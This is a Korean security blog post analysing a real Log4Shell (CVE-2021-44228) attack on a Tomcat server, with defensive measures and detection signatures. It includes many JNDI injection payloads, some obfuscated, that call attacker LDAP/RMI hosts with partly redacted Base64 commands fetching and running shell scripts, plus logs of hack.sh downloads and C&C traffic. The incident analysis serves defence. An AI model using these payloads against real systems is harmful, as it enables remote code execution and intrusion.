Log4j(log4shell) Vulnerabilities
올해 2021년 가장 HOT 했던 log4j 취약점에 대하여 개인적으로 정리차 오랫만에 블로그를 포스팅합니다 덕분에 보안 업계 종사자 및 관련 분야 종사자들은 힘든 시기를 보냈죠
나무위키 Log4j 보안 취약점 사태
CVE-2021-44228[1],CVE-2021-45046[2], CVE-2021-45105, CVE-2021-4104, CVE-2021-44832 아파치 소프트웨어 재단의 Java 프로그래밍 언어로 제작된 Log4j 라이브러리를 사용하는 대부분의 인터넷 서비스에서 매우 중대한 보안 취약점이 발견된 사건.
Log4j log4shell 취약점 = CVE-2021–44228 log4j 취약점에 대한 전반적인 내용은 인터넷에서 쉽게 찾을수 있어 실제 공격 당한(해킹) 사례를 관점으로 포스팅 하고자 합니다.
1. 침해 확인 (한창 뉴스에 도배될 시점 새벽)
Apache + Tomcat (취약 버전) 실제 운영중인 사이트
※ 공격 벡터는 다양함 (취약한 사이트의 로그인 창, 검색창, 메신져 대화창등)
Payload Examples
${jndi:ldap://attackermachine:portnumber/Log4JPayload.class}
${jndi:rmi://attackermachine:portnumber/Log4JPayload.class}
2. 다양한 실제 공격 Payload
base64 인코딩 부분및 IP부분은 문제소지가 있어 수정함
ldap
${jndi:ldap://${hostName}.c79r0cuu3xxa1iok5bxa60c8kgmzoyediua.intexxtxsh.com/a}
${jndi:ldap://199.24x.19.2x8:443/Basic/Command/Base64/cGluZyBhYWY2M2NmZi5kbYnlwYXNzLmV1Lm9yZw==}
${jndi:ldap://135.1x8.14x.2x7:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTLjY3LjY1MsSC9weTsgY3VybCAtTyBHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHZS54ODY=}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.5x.10x.1x9:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2sSDk6NTg3NC8xLjIyNC4xuMTEwOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTTYwLjE0OTo1ODc0LMjI0LjE4OC4xMTA6ODAfGJhc2g=}
rmi
${jndi:rmi://c74sbd1cl2d0ksdug14pxxx4gcdSs8r76kyyypnio.interact.sh}
${${lower:jndi}:${lower:rmi}://1x5.2x4.1x6.236:1389/jijec}
${jndi:rmi://13x.59.1xx.x47:1099/ej5ytj}
3. 실제 log4j 공격 피해 사이트 샘플
실제 공격으로 탐지된 로그 일부
지속적으로 공격 시도 로그 및 WAS(톰캣) 서버에서 외부로부터 악성코드 다운로드 확인됨
DE 178.63.9x.1x0 65,018 1.224.187.178 80 ${jndi:ldap://2x1.1x2.4x.71:8085/TomcatBypass/TomcatEcho} http://1x.2x4.x8x.1xx/$%7Bjndi:ldap://2x1.1x2.4x.71:8085/TomcatBypass/TomcatEcho%7D
1.2x2.1x7.1x4 59276 RU 185.1xx.xx.198 80 HTTP Dangerous URL in Web Reputation Services database - HTTP (Request) http://185.1xx.x2.198/hack.sh
1.2x2.1x7.1x4 59288 RU 185.1xx.xx.198 80 HTTP Dangerous URL in Web Reputation Services database - HTTP (Request) http://185.1xx.x2.198/hack.sh
4. 톰캣 서버 로그 일부
다양한 형태의 페이로드로 공격하는것을 확인할수 있음
/usr/local/share/apache-tomcat/logs/catalina.2021-12-11.log: java.lang.IllegalArgumentException: Invalid character found in the request target [/${jndi:ldap://45.xx.2x.188:1389/Exploit}]. The valid characters are defined in RFC 7230 and RFC 3986
/usr/local/share/apache-tomcat/logs/catalina.out: java.lang.IllegalArgumentException: Invalid character found in the request target [/${jndi:ldap://45.xx.229.188:1389/Exploit}]. The valid characters are defined in RFC 7230 and RFC 3986
/usr/local/share/apache-tomcat/logs/localhost_access_log.2021-12-12.txt:139.59.163.74 - - [12/Dec/2021:05:01:46 +0900] "GET /$%7Bjndi:ldap://http443path.xxxx-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 682
/usr/local/share/apache-tomcat/logs/localhost_access_log.2021-12-13.txt:49.233.62.251 - - [13/Dec/2021:05:07:33 +0900] "GET /$%7Bjndi:ldap://xx.xx.193.150:1389/Exploit%7D HTTP/1.1" 404 682
/usr/local/share/apache-tomcat/logs/localhost_access_log.2021-12-13.txt:51.105.55.17 - - [13/Dec/2021:05:36:17 +0900] "GET /$%7Bjndi:ldap://xx.xx.193.150:1389/Exploit%7D HTTP/1.1" 404 682
/usr/local/share/apache-tomcat/logs/localhost_access_log.2021-12-13.txt:112.74.52.90 - - [13/Dec/2021:11:01:47 +0900] "GET /$%7Bjndi:ldap://xx.xx.193.150:1389/Exploit%7D HTTP/1.1" 404 682
5. 보안장비 탐지 로그1
tomcat 서버 <->외부에서 쉩코드 다운로드 이력 (원격코드 hack.sh 실행(RCE))
tomcat (취약서버)에서 .sh 쉘코드 확인
KR x11.2x.1x7.174 59,538 RU 185.xxx.32.198 80 HTTP Dangerous URL in Web Reputation Services database - HTTP (Request) http://185.xxx.32.198/hack.sh
KR x11.2x.1x7.174 59,518 RU 185.xxx.32.198 80 HTTP Dangerous URL in Web Reputation Services database - HTTP (Request) http://185.xxx.32.198/hack.sh
KR x11.2x.1x7.174 39,486 BA 80.xxx.xx8.12 80 HTTP Dangerous URL in Web Reputation Services database - HTTP (Request) http://80.7x.x58.12/hack.sh
KR x11.2x.1x7.174 39,084 BA 80.xxx.xx8.12 80 HTTP Dangerous URL in Web Reputation Services database - HTTP (Request) http://80.7x.x58.12/hack.sh
보안장비 탐지로그2
원격코드 다운로드 및 실행후 -> tomcat 서버 <-> C&C 서버 통신 로그
KR x1.2x4.1x7.174 45,550 RU 212.2x.x7.79 80 C&C Server URL in Web Reputation Services database - HTTP (Request) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 http://212.2x.x7.79/h2
KR x1.2x4.1x7.174 45,434 RU 212.2x.x7.79 80 C&C Server URL in Web Reputation Services database - HTTP (Request) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 http://212.2x.x7.79/h2
KR x1.2x4.1x7.175 39,026 RU 212.2x.x7.79 80 C&C Server URL in Web Reputation Services database - HTTP (Request) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 http://212.2x.x7.79/h2
만약, 네트워크 구조상 “log4j 취약서버” -> 인터넷(아웃바운드) 통신이 차단되어 있다면 악성코드 다운로드 불가
위와 같은 사례는 tomcat 서버가 외부 아웃바운드 통신이 any로 열려있는 상태로 보안에 취약 WAS,DB등 외부 통신이 필요하지 않은 서버에 대해서는 기본적인 네트워크 보안(불필요 통신 차단)만 잘해도 피해 범위는 줄일수 있습니다.
6. 대응
보안장비 시그니처 업데이트 (IPS, WAF 등) 보안장비 log4j 취약점 공격 행위 자동 알람 설정 및 집중 모니터링
방화벽에서 유해 IP (공격 IP) 일괄 차단 log4j 취약점 해당 서비스 및 시스템 전수 조사 및 보안 대책 수립
Apache log4j 취약점 대응 가이드
KISA 에서 배포중인 가이드 https://www.boho.or.kr/data/guideView.do?bulletin_writing_sequence=36390
현재도 log4j 취약점 공격은 진행중 AND 대응중…
탐지 로그 12월 10일 ~ 현재까지 약 8900건 (지속적으로 공격 시도중) 현재도 지속적으로 다양한 페이로드로 공격 시도하고 있으나 대부분 IPS에서 Block 문제는 12월10일 이전건은 취약 서버내 Application 로그를 전수 조사중이나 답없음….
제로데이 공격이라 log4j 취약점이 공개되기전에 얼마나 털렸을지는 ㅜㅜ… 언론에서는 log4j 취약점 피해 사례는 국내(민간.공공 포함)는 0건이라고 하는데 과연 믿을수있는것인지… 피해를 입었음에도 불구하고 영향도가 미미하거나 공식적으로 언급을 회피하는 곳도 많을것으로 예상됩니다.
Log4j log4shell 취약점 요약
APT Device Detection Name (탐지명)
CVE-2021-44228 – OGNL EXPLOIT – HTTP(REQUEST)
POSSIBLE HTTP HEADER OGNL EXPRESSION EXPLOIT – HTTP(REQUEST)
POSSIBLE USERAGENT RCE EXPLOIT – HTTP (REQUEST)
IPS Detection Name (탐지명)
C1000001: HTTP: JNDI Injection in HTTP Header or URI
실제 공격 형태
requestClientApplication field
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://1XX.XX.XX.XX:1389/TomcatBypass/Command/Base64/..VybCA3...............FkLnNoIHwgYmFzaA==}
${jndi:ldap://8X.1XX.2XX.XX:1534/Basic/Command/Base64/......MTE3LjI1Mi44My9saC5zaHx8d2dldCAtcSA.........3LjI1Mi44My9saC5zaCl8YmFzaA==}
${${lower:jndi}:${lower:rmi}://X50.XX6.1X.X8:1389/TomcatBypass/Command/Base64/.......S4xMTguMjM2L3NzaGRfcHR5OyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc3N.........c2hkX3B0eTsgLi9zc2hkX3B0eSBleHBsb2l0}
${jndi:rmi://c7...bd1cl2d0kug1......pdp1.interact.sh}
requestUrl field
http://4X.4X.XX.X01/${jndi:ldap://1XX.140.99.X6:1389/Exploit}
http://XX.XXX.X.10X:8080/?x=%24%7Bjndi%3Aldap%3A%2F%2F14X.XX.2XX.X8%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCA3Mi40Ni41Mi4x.....HwgYmFzaA%3D%3D%7D
http://xx.xxxxgames.com/?x=${jndi:ldap://${hostName}./a}
http://X.2XX.X8.X5/solree/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.c7lvppsmrdbbf1h....sf4eoy586..c.oast.site/a%7D
1. Log4j는 아파치 소프트웨어 재단에서 개발한 Java 로깅 라이브러리
2. java 기반 어플리케이션 로그를 남기기 위해 사용되며, 대부분의 자바 프로그램이 Log4j를 사용할 정도로 인기있는 라이브러리
3. JNDI(Java Naming and Directory Interface)을 이용한 취약점
4. JNDI와 LDAP 이나 RMI 를 통해 RCE(원격 코드 실행)을 허용한다는 것이 이번 취약점의 핵심